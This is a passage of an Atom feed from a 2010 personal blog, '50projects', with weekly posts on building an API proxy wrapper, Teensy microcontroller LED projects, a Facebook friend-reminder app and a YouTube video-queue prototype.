&lt;b&gt;Released!&lt;/b&gt; After a quick review Saturday with some changes and refactoring to whip my mega-methods into more manageable short chunks (thanks Jana!) it was ready to go. However at this time I don't want to open-source the code and I don't have a cohesive plan to market it. However if you're interested in testing it out or want to implement in your business please let me know, I'd be happy to provide a free trial in exchange for some feedback.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;A few things that went better than expected&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;By Tuesday I had a working proxy of flickr's API. After that it was as simple as taking on a new set of features each day and polishing the others into something more consistent. For a project that seemed monumental at the start it came together surprisingly well.&lt;/li&gt;&lt;li&gt;I decided to open source a small project I put together Saturday morning to help with testing. It echos back some information on the request and allows you to specify what content type, status code and content you want it to echo back to you. Check it out on &lt;a href=&quot;http://github.com/pcorliss/Echo-Server&quot;&gt;github&lt;/a&gt; &lt;a href=&quot;http://github.com/pcorliss/Echo-Server&quot;&gt;http://github.com/pcorliss/Echo-Server&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;Challenges&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;There was a slight issue with the initial configuration and setup. I ended up opting to spend my time coding instead of configuring so I fired up eclipse's Google App Engine (GAE) plugin and got started quickly. GAE apps are largely portable except for the memcache service which will need a small change to run on a different platform. This actually makes it a selling point for smaller startups because it means they could get up and running quickly without having to purchase servers or do much setup besides configuring a CNAME.&lt;/li&gt;&lt;li&gt;The project's market was murky at best at the beginning of the week. And I'm still not sure who I'll sell it to or if it would be better off being open sourced. I think it's definitely ready to be put into production, or at least into heavy load-testing. But I don't think setting up a server and running on a freemium model is the right plan at the moment.&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;Features Missed&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;After some thought I realized that output conversion isn't really something I would want if I or anyone else was building a public API. So it seemed reasonable to skip. &lt;/li&gt;&lt;li&gt;After a lot of reading it turns out I really didn't understand oauth all that well. Acting as an oauth provider or as a consumer for an API that sits in the middle doesn't really make sense. Perhaps in the provisioning portion, but that isn't practical since you'd have to interface with end points that aren't defined. By Thursday I had dropped the feature and moved on.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>API/SaaS Wrapper - Friday</title>
   <link href="https://blog.50projects.com/2010/10/apisaas-wrapper-friday.html"/>
   <updated>2010-10-01T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/10/apisaas-wrapper-friday</id>
   <content type="html">&lt;div class='post'&gt;
And it all comes together. I'll be spending some free hours Saturday and Sunday polishing the project up and adding some features from my &quot;Nice to have&quot; list. But otherwise it's good to go. While it isn't yet close to a direct competitor to Mashery's platform I feel like it's going to be a pretty strong contender for the lazy developer in us all who doesn't want to have to tack on access keys, signing and rate limiting to their existing product in order to make their API publicly accessible. I'll post a final wrap up on Sunday.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Exciting Features, Developed and Working&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Proxy multiple APIs via CNAME or path with a single instance&lt;/li&gt;&lt;li&gt;Developer provisioning with access keys, secrets and signing options&lt;/li&gt;&lt;li&gt;Configurable default and per developer rate limits in minute, hour and day increments.&lt;/li&gt;&lt;li&gt;Standalone jetty service, google app engine compatible&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>API/SaaS Wrapper - Monday</title>
   <link href="https://blog.50projects.com/2010/09/apisaas-wrapper-monday.html"/>
   <updated>2010-09-27T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/09/apisaas-wrapper-monday</id>
   <content type="html">&lt;div class='post'&gt;
First off a programming note. This post was late today because I ended up having to throw out several ideas for projects as they had already been done. The first ideas was to build an open source video trans-coding service and potentially build it directly in to &lt;a href=&quot;http://blog.50projects.com/p/sinmagick-image-processing.html&quot;&gt;SinMagick&lt;/a&gt;. Unfortunately it looks like &lt;a href=&quot;http://www.pandastream.com/&quot;&gt;Panda Stream &lt;/a&gt;has been offering an open source video trans-coding service for a few years now. The next idea was to solve the problem of the designated driver taking home a car load of inebriated friends. In which order should you drop them off to make the trip most efficient? Unfortunately this idea has already been worked on, you can find an iPhone app by &lt;a href=&quot;http://route4me.com/&quot;&gt;Route4Me&lt;/a&gt; that does exactly what I described. The next ideas was to provide a way to use your iPhone's camera as a raw video device on desktop computers. But after a little bit of searching I stumbled on &lt;a href=&quot;http://www.senstic.com/iphone/pocketcam/pocketcam.aspx&quot;&gt;PocketCam&lt;/a&gt;. Frustrating!&lt;br /&gt;&lt;br /&gt;The next idea was one that I've been kicking around for a while. Basically if you have a service like &lt;a href=&quot;http://blog.50projects.com/p/sinmagick-image-processing.html&quot;&gt;SinMagick&lt;/a&gt; for example. And you'd like to implement a freemium model you need to build out all sorts of different features to support it. Such as authentication, signup, throttling, logging, billing and a way to block unauthorized access. Building it directly into pre-existing code can be even more painful. There is already a company, &lt;a href=&quot;http://mashery.com/&quot;&gt;Mashery&lt;/a&gt;, in this space however they target the premium space exclusively and don't offer an open source or shrink wrapped product. That's the market I hope to capture this week.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Project Summary:&lt;/b&gt; API/SaaS Wrapper for Web Services&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Planned Features:&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Authentication via OAuth&lt;/li&gt;&lt;li&gt;Developer Registration&lt;/li&gt;&lt;li&gt;Rate Limits&lt;/li&gt;&lt;li&gt;Reporting/Logging&lt;/li&gt;&lt;li&gt;Output Conversion JSON-&amp;gt;XML&lt;/li&gt;&lt;li&gt;Multiple APIs&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;Monetization - Considering the following&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Premium Feature Modules for things like Billing Support&lt;/li&gt;&lt;li&gt;Shrinkwrapped Product&lt;/li&gt;&lt;li&gt;OpenSource with EC2 private instances&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Microcontroller - Sunday</title>
   <link href="https://blog.50projects.com/2010/09/microcontroller-sunday.html"/>
   <updated>2010-09-26T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/09/microcontroller-sunday</id>
   <content type="html">&lt;div class='post'&gt;
Released! I had a blast this week working with these electronics projects. I'll definitely be doing more over the course of the next year. There's something strangely gratifying about lighting up a few LEDs on command or receiving input from a simple keypad. Especially when you have to wire them up and write the code yourself. Writing in C was like going back to my CSE 142 course at the University of Washington. Although no one is grading me this time and if I screw up I can catch components on fire. Check out the demos on youtube below. And contact me if you need a part list or wiring diagram and I'd be happy to provide one.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Demos&lt;/b&gt;&lt;br /&gt;Lighting - &lt;a href=&quot;http://www.youtube.com/watch?v=pI2g945pEy0&quot;&gt;http://www.youtube.com/watch?v=pI2g945pEy0&lt;/a&gt;&lt;br /&gt;Big Red Button - &lt;a href=&quot;http://www.youtube.com/watch?v=9tkcO66Bc8M&quot;&gt;http://www.youtube.com/watch?v=9tkcO66Bc8M&lt;/a&gt;&lt;br /&gt;Meeting Calculator - &lt;a href=&quot;http://www.youtube.com/watch?v=Xk0m1Xe7pKE&quot;&gt;http://www.youtube.com/watch?v=Xk0m1Xe7pKE&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Source Code&lt;/b&gt;&lt;br /&gt;&lt;a href=&quot;http://github.com/pcorliss/Teensy-Projects&quot;&gt;http://github.com/pcorliss/Teensy-Projects&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;A few things that went better than expected&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;It was awesome to dig back in my electronics bin and pull out some of my crazy ideas for electronics projects. Then actually move forward on them, spend the time and complete them. Releasing anything is usually satisfying, but coming back to something I had previously set aside and finishing it up is redeeming.&lt;/li&gt;&lt;li&gt;Electronics projects seem unique to me in that you can get going pretty quickly and without a lot of effort. The equivalent of a hello world on a microcontroller might be reading switch input or lighting up an LED. But it doesn't take much more to wire up multiple LEDs and really start creating something pretty cool without investing a lot of time. Whereas with a lot of the frameworks and languages like Ruby and Python that I've been working on, hello world is easy, but as soon as you want to do something non-standard it's a monumental challenge to find the proper syntax and setup.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;Challenges&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;My C is rusty. Thankfully I was able to glean enough from various internet forums to fill in the gaps left by my intro to programming course back in the Fall of 1999. Now I feel old.&lt;/li&gt;&lt;li&gt;I started programming back when your average consumer grade desktop machine had roughly a 400Mhz CPU to work with. Since then the bulk of my programming work has taken place on multi-core 2Ghz+ machines. The Teensy only runs at 16Mhz, and you can step it down further to save on power. &amp;nbsp;So using the Teensy chip where adding an extra instruction in your control loop can cause a noticeable flicker in your LEDs is quite a change of pace.&amp;nbsp;&lt;/li&gt;&lt;li&gt;All of the projects this week draw power over USB which is limited to 400 mA. This caused a few issues where it was possible I wouldn't be able to light as many LEDs simultaneously as I would have liked and required me to rely on techniques where LEDs were switched on and off quickly to conserve power.&lt;/li&gt;&lt;li&gt;You can see in the meeting calculator video that a lot of wire was used for wiring the 7-segment displays. Each one requires 8 wires for each segment (digit plus decimal point) and a 9th for 5V supply. It took about 3 hours to get the entire project wired up. Not including tweaking and finding small shorts or poor connections. And that was before I had even written the software to something as simple as display a digit or handle the matrix.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;Features Missed&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;I didn't have an appropriate box to mount the projects in so I ended up using a bread board for all of them. Which means it's likely that these projects will never be standalone and we'll be stuck on the breadboard for the foreseeable future.&lt;/li&gt;&lt;li&gt;The chip socket I had doesn't actually work with my teensy 1.0. So I had to scrap using it on a circuit board. I ended up just using the breadboard instead.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Microcontroller - Thursday</title>
   <link href="https://blog.50projects.com/2010/09/microcontroller-thursday.html"/>
   <updated>2010-09-23T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/09/microcontroller-thursday</id>
   <content type="html">&lt;div class='post'&gt;
I meant to post this yesterday when it was filmed but it slipped my mind. This is the first portion of this weeks project. Unfortunately I had intended to solder this on to a circuit board for a more permanent setup but the chip socket I had wouldn't accommodate the teensy's pins. I just got some more headers in the mail so I'll give those a try Friday or Saturday.&lt;br /&gt;&lt;br /&gt;I also received some small push button switches, which I'll have to integrate to provide more preset lighting options.&lt;br /&gt;&lt;br /&gt;&lt;object height=&quot;385&quot; width=&quot;480&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://www.youtube.com/v/pI2g945pEy0?fs=1&amp;amp;hl=en_US&quot;&gt;&lt;/param&gt;&lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot;&gt;&lt;/param&gt;&lt;param name=&quot;allowscriptaccess&quot; value=&quot;always&quot;&gt;&lt;/param&gt;&lt;embed src=&quot;http://www.youtube.com/v/pI2g945pEy0?fs=1&amp;amp;hl=en_US&quot; type=&quot;application/x-shockwave-flash&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;true&quot; width=&quot;480&quot; height=&quot;385&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Microcontroller - Monday</title>
   <link href="https://blog.50projects.com/2010/09/microcontroller-monday.html"/>
   <updated>2010-09-20T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/09/microcontroller-monday</id>
   <content type="html">&lt;div class='post'&gt;
About a year ago I purchased a &lt;a href=&quot;http://www.pjrc.com/teensy/index.html&quot;&gt;Teensyduino&lt;/a&gt; to try my hand at some low level hardware projects. I managed to get a RGB LED to fade in and out of various colors and write a small daemon to pass keyboard commands over the serial interface. All the building blocks necessary to build some nice mood lamps and put it on my bookshelf. Or perhaps create a big-red-button switch so I could fire off deployments. I bought some more parts periodically but never finished the projects up. Well, now is the time. Because these are all relatively small I'm going to lump them in to the same week. There's a good chance I'll be cursing my ambitiousness on Sunday.&lt;br /&gt;&lt;br /&gt;Equipment and tools:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Breadboard&lt;/li&gt;&lt;li&gt;Teensy 1.0 (16KB Flash, 512B RAM) &amp;amp; Teensy++ 1.0 (64K Flash, 4K RAM)&lt;/li&gt;&lt;li&gt;Keypads&lt;/li&gt;&lt;li&gt;7 segment LED displays&lt;/li&gt;&lt;li&gt;RGB LEDs &lt;/li&gt;&lt;li&gt;Big Red Button &amp;amp; Switches&lt;/li&gt;&lt;li&gt;IKEA spice jars with glass beads&lt;/li&gt;&lt;li&gt;Plenty of wire, resistors and solder&lt;/li&gt;&lt;/ul&gt;Project Summary:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Build a pleasant light display for the bookshelves&lt;/li&gt;&lt;li&gt;Build a missile command launch system with keypad, safety switch and big red button. Perfect for deployments.&lt;/li&gt;&lt;li&gt;Build a meeting clock to display the escalating cost of a meeting&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_nR-AKoVjo_4/TJersFtt9PI/AAAAAAAAACc/pLJvgS2TdbE/s1600/photo+%285%29.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;150&quot; src=&quot;http://3.bp.blogspot.com/_nR-AKoVjo_4/TJersFtt9PI/AAAAAAAAACc/pLJvgS2TdbE/s200/photo+%285%29.JPG&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/td&gt; &lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_nR-AKoVjo_4/TJerpDE0rfI/AAAAAAAAACE/OoS_rfFX9Ww/s1600/photo+%282%29.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;150&quot; src=&quot;http://2.bp.blogspot.com/_nR-AKoVjo_4/TJerpDE0rfI/AAAAAAAAACE/OoS_rfFX9Ww/s200/photo+%282%29.JPG&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Big Red Button&lt;/td&gt; &lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Keypad&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_nR-AKoVjo_4/TJerqAQUijI/AAAAAAAAACM/RA6sKl-qsh0/s1600/photo+%283%29.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;150&quot; src=&quot;http://2.bp.blogspot.com/_nR-AKoVjo_4/TJerqAQUijI/AAAAAAAAACM/RA6sKl-qsh0/s200/photo+%283%29.JPG&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/td&gt; &lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_nR-AKoVjo_4/TJerrOdVH6I/AAAAAAAAACU/ItGoZnT_wCw/s1600/photo+%284%29.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;150&quot; src=&quot;http://3.bp.blogspot.com/_nR-AKoVjo_4/TJerrOdVH6I/AAAAAAAAACU/ItGoZnT_wCw/s200/photo+%284%29.JPG&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;7 Segment Displays&lt;/td&gt; &lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Teensy &amp;amp; Teensy++&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Friend Boost - Saturday</title>
   <link href="https://blog.50projects.com/2010/09/friend-boost-saturday.html"/>
   <updated>2010-09-18T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/09/friend-boost-saturday</id>
   <content type="html">&lt;div class='post'&gt;
Released! I need to do a little more testing to ensure email delivery works. But overall it's ready to go and be used. The concept is simple, you login with your facebook credentials, you're presented with a list of your friends. You select how often you'd like to contact them and optionally opt-in to the email reminder service. It's small, simple and I hope useful to the folks out there like myself that can't stay in touch with friends.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Go manage those relationships!&lt;/b&gt;&lt;br /&gt;&lt;a href=&quot;http://booster.50projects.com/&quot;&gt;http://booster.50projects.com&lt;/a&gt;/&lt;br /&gt;&lt;br /&gt;&lt;b&gt;A few things that went better than expected&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://heroku.com/pricing&quot;&gt;Heroku&lt;/a&gt; has a freemium business model. The free plan, which I'm using, allows a single concurrent HTTP connection and a 5Mb database. If you're looking for more than one concurrent connection the prices jump up significantly. I imagine I'll switch to a &lt;a href=&quot;http://www.linode.com/&quot;&gt;Linode&lt;/a&gt; instance as soon as I get enough traffic to warrant it.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://sendgrid.com/pricing.html&quot;&gt;SendGrid&lt;/a&gt; provides a decent SMTP host and they also have a freemium model. The free plan includes 200 emails per day. After that the prices are quite reasonable.&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;Challenges&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;As mentioned on Friday, I'm not terribly happy with the design but I do think my design and layout skills are slowly improving.&lt;/li&gt;&lt;li&gt;Scope decreased dramatically early on as I realized no one wanted to  click a hundred boxes every week to signify whether they had been in  touch with someone.&lt;/li&gt;&lt;li&gt;Perhaps I just need to work with more frameworks but starting from scratch with rails is a pain if you don't know where you're going. Rails does so much behind the scenes that it feels like an uphill battle as soon as I want to go beyond the basic scaffolding.&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;Features Missed&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Unfortunately Facebook doesn't allow you to send private messages to users. So I had to implement an email service instead of something internal to facebook. Not terribly but I would have liked to avoid collecting emails and then setting up SendGrid.&lt;/li&gt;&lt;li&gt;Facebook also doesn't allow you to collect phone number information. Which means any sort of VOIP integration wasn't an option.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Friend Boost - Friday</title>
   <link href="https://blog.50projects.com/2010/09/friend-boost-friday.html"/>
   <updated>2010-09-17T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/09/friend-boost-friday</id>
   <content type="html">&lt;div class='post'&gt;
One of the issues I keep running into with consumer facing web apps is my lack of experience in design and layout. Developing a compelling and following that up with the styling to make it look like the mockup I've created on paper provides endless challenges. This week  I decided to spend as much time as possible developing the backend and core components (ie. Struggling with Ruby on Rails) and leave styling to the very end. I've still got a little more work to do on the back end and some configuration prior to release but I did the styling today. You can see the before and after pictures below.&lt;br /&gt;&lt;br /&gt;I'm slowly getting more comfortable with CSS and layout. But compared to some of my peers my work appears fairly amateurish. Hopefully I can refine these skills further over the next 44 weeks.&lt;br /&gt;&lt;br /&gt;&lt;table cellpadding=&quot;10&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_nR-AKoVjo_4/TJQCfpNn3DI/AAAAAAAAABM/VK_fFmK2ajE/s1600/Friendboost1+-+PreStyling.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;http://4.bp.blogspot.com/_nR-AKoVjo_4/TJQCfpNn3DI/AAAAAAAAABM/VK_fFmK2ajE/s200/Friendboost1+-+PreStyling.png&quot; width=&quot;101&quot; /&gt;&lt;/a&gt;&lt;/td&gt; &lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_nR-AKoVjo_4/TJQCgnBj-0I/AAAAAAAAABU/j55yOPmIbhs/s1600/Friendboost1+-+PostStyling.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;101&quot; src=&quot;http://4.bp.blogspot.com/_nR-AKoVjo_4/TJQCgnBj-0I/AAAAAAAAABU/j55yOPmIbhs/s200/Friendboost1+-+PostStyling.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;   &lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Pre-Styling&lt;/td&gt;   &lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Post-Styling&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;Faces and names obscured to protect the innocent.&lt;/span&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Friend Boost - Monday</title>
   <link href="https://blog.50projects.com/2010/09/friend-boost-monday.html"/>
   <updated>2010-09-13T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/09/friend-boost-monday</id>
   <content type="html">&lt;div class='post'&gt;
Lets start off by saying I'm horrible at maintaining friendships. According to facebook I have 95 friends, of these I haven't seen most of them in more than 6 months. I reach out occasionally via instant messenger or facebook. But I rarely call folks out of the blue and I'm not likely to respond to a voicemail or text message. So what's a guy like me supposed to do? This is where I need a CRM for my friends. Most of the tools in the space (&lt;a href=&quot;http://gist.com/&quot;&gt;Gist&lt;/a&gt;, &lt;a href=&quot;https://etacts.com/&quot;&gt;Etacts&lt;/a&gt;, &lt;a href=&quot;http://rapportive.com/&quot;&gt;Rapportive&lt;/a&gt;) are geared towards businesses trying to manage their twitter and facebook accounts or sales people trying to stay in touch with professional contacts. None seem to manage the day to day aspects of trying to stay in touch with your friends. Or at least I haven't found any during my research. Look for some early facebook integration prototypes by mid-week.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Project Summary:&lt;/b&gt; Build a webapp using Ruby on Rails to help manage social relationships.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Planned Features:&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Facebook Graph Integration&lt;/li&gt;&lt;li&gt;Reminders to contact folks&lt;/li&gt;&lt;li&gt;Integration with Twilio, CloudVox or GoogleVoice&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;Monetization:&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Google AdSense&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Rails, Video, and embeds! Oh My! - Friday</title>
   <link href="https://blog.50projects.com/2010/09/rails-video-and-embeds-oh-my-friday.html"/>
   <updated>2010-09-10T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/09/rails-video-and-embeds-oh-my-friday</id>
   <content type="html">&lt;div class='post'&gt;
Unfortunately I've decided to discontinue work on this week's project. It looks like I didn't do enough research in the early stages (Monday morning) and decided to build a feature that already exists as part of YouTube. I totally botched the research portion and as such missed a major feature of the very service I was trying to build on to.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.codinghorror.com/blog/2006/05/fail-early-fail-often.html&quot;&gt;Fail early and fail often&lt;/a&gt; is the mantra I've heard before. It's not something I like to embrace. Ideally I like to scope something out adequately, work my butt off, meet the goals I or others have set for myself, and release it. It may not be a winner and may not make a million dollars. But at the very least I can look at it, and say, &quot;I did that. That represents X amount of hours of me hacking away at a keyboard.&quot;&lt;br /&gt;&lt;br /&gt;Part of the allure of 50projects was that I would hedge my bets. No one project would be my focus for a period of time. Instead I'd get to dance around and try out all of the neat technologies and hone my skills. Conversely the thing that scared that pants off of me was the idea of 50 opportunities to fail miserably (and publicly). The odds are that many of the projects are going to fail. This just happens to be the first. I can accept that some of my projects may not get used in a real world scenario. I can accept that I won't see $1 from many if not all of them. I just have difficulty swallowing the fact that some are going to end up being nothing more than a learning experience.&lt;br /&gt;&lt;br /&gt;As far as learning experiences go. I messed around with Ruby on Rails and pulled some content out of YouTube's Data API. Nothing revolutionary but hopefully it will allow me to build up future projects a little bit faster.&lt;br /&gt;&lt;br /&gt;Next week, I'll be starting early on the research to make sure this sort of thing doesn't happen in the future (or at least not as often).&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Rails, Video, and embeds! Oh My! - Wednesday</title>
   <link href="https://blog.50projects.com/2010/09/rails-video-and-embeds-oh-my-wednesday.html"/>
   <updated>2010-09-08T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/09/rails-video-and-embeds-oh-my-wednesday</id>
   <content type="html">&lt;div class='post'&gt;
I seem to be Perpetually falling behind, even on the small projects. In the meantime here's a demo of some of the basic functionality behind queuing up multiple youtube videos. Use the left and right arrows to skip back or forwards. Or just wait for the adorable corgi to go off screen and you'll move on auto-magically to the next video.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://50proj-public.s3.amazonaws.com/youQueue/youtube_embed.html&quot;&gt;http://50proj-public.s3.amazonaws.com/youQueue/youtube_embed.html&lt;/a&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Rails, Video, and embeds! Oh My! - Monday</title>
   <link href="https://blog.50projects.com/2010/09/rails-video-and-embeds-oh-my-monday.html"/>
   <updated>2010-09-06T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/09/rails-video-and-embeds-oh-my-monday</id>
   <content type="html">&lt;div class='post'&gt;
This week I'll be going back to ruby and devleoping a rails application. Primarily so that I'm not not totally lost when I attend &lt;a href=&quot;http://windycityrails.org/%20&quot;&gt;Windy City Rails&lt;/a&gt; on Saturday. I'll also be targeting a much smaller scope than last week. But with greater emphasis on bells and whistles that are conceived of during development. Potentially this will also lay some of the groundwork for another project down the line involving consumer video.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Project Summary:&lt;/b&gt; Build a webapp using Ruby on Rails to enable strings of videos to play continuously without interruption.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Planned Features:&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;YouTube Integration&lt;/li&gt;&lt;li&gt;Generate Embed Codes&lt;/li&gt;&lt;li&gt;Short URL generator&lt;/li&gt;&lt;li&gt;Bells and Whistles&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;Monetization:&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Google AdSense&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;If There's Time:&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Integration with other video services&lt;/li&gt;&lt;li&gt;Video Aggregator&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Celebrity Freebie List - Sunday</title>
   <link href="https://blog.50projects.com/2010/09/celebrity-freebie-list-sunday.html"/>
   <updated>2010-09-05T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/09/celebrity-freebie-list-sunday</id>
   <content type="html">&lt;div class='post'&gt;
&lt;b&gt;Released!&lt;/b&gt; An update for you folks mid-week would have been good. But there was so much work to do and so little to show that I kept putting it off until I had a reasonable demo. Next time I'll make sure to post a mid-week update with at least some screen shots of Eclipse so you don't think I've been slacking off. The first version went live last night and I fixed a few minor bugs with usability this morning. To be successful I need you folks out there to help me by using it yourselves. You'll help me out even more by sharing your list on twitter and facebook.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Go have fun!&lt;/b&gt;&lt;br /&gt;&lt;a href=&quot;http://celebrity.50projects.com/&quot;&gt;http://celebrity.50projects.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;A few things that went better than expected&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Google App Engine is free up until a certain threshold. The limitations are worth it if you're willing to limit yourself to GQL and Java or Python.&lt;/li&gt;&lt;li&gt;Google App Engine has some great getting started documents and an eclipse plugin that makes a lot of this pretty easy. I wish they had more than just the one tutorial but I was able to get where I needed to go by reading the documentation.&lt;/li&gt;&lt;li&gt;As I developed the app I kept adding additional features to my todo list. By Saturday I was feeling pretty good that the app not only did what I originally planned by 